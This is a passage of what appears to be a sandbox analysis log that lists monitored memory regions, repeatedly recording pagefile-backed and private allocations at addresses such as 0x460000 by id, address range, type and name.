"pagefile_0x0000000000460000" filename = "" Region: id = 14145 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14146 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14147 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14148 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14149 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14150 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14151 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14152 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14153 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14154 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14155 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14156 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14157 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14158 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14159 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14160 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14161 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14162 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14163 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14164 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14165 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14166 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14167 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14168 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14169 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14170 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14171 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14172 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14173 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14174 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14175 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14176 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14177 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14178 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14179 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14180 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14181 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14182 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14183 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14184 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14185 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14186 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14187 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14188 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14189 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14190 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14191 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14192 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14193 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14194 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14195 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14196 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14197 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14198 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14200 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14201 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14202 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14203 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14204 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14205 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14206 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14207 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14208 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14209 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14210 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14211 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14212 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14213 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14214 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14215 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14216 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14217 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14218 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14219 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14220 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14221 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14222 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14223 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14224 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14225 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14226 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14227 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14228 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14229 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14230 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14231 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14232 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14233 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14234 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14235 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14236 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14237 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14238 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14239 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14240 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14241 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14242 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14243 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14244 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14245 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14246 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14248 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14249 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14252 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14253 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14254 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14255 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14256 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14257 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14259 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14260 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14261 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14262 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14263 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14264 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14265 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14266 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14267 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14268 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14269 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14270 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14271 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14272 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14273 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14274 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14275 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14276 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14277 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14278 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14279 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14280 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14281 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14282 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14283 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14284 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14285 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14286 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14287 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14288 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14289 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14290 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14291 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14292 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14293 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14294 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14295 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14296 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14297 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14298 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14299 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14300 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14301 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14302 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14303 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14304 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14305 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14306 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14307 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14308 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14309 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14310 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14311 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14312 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14313 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14314 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14315 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14316 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14317 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14318 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14319 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14320 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14321 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14322 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14323 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14324 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14325 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14326 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14327 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14328 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14330 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = 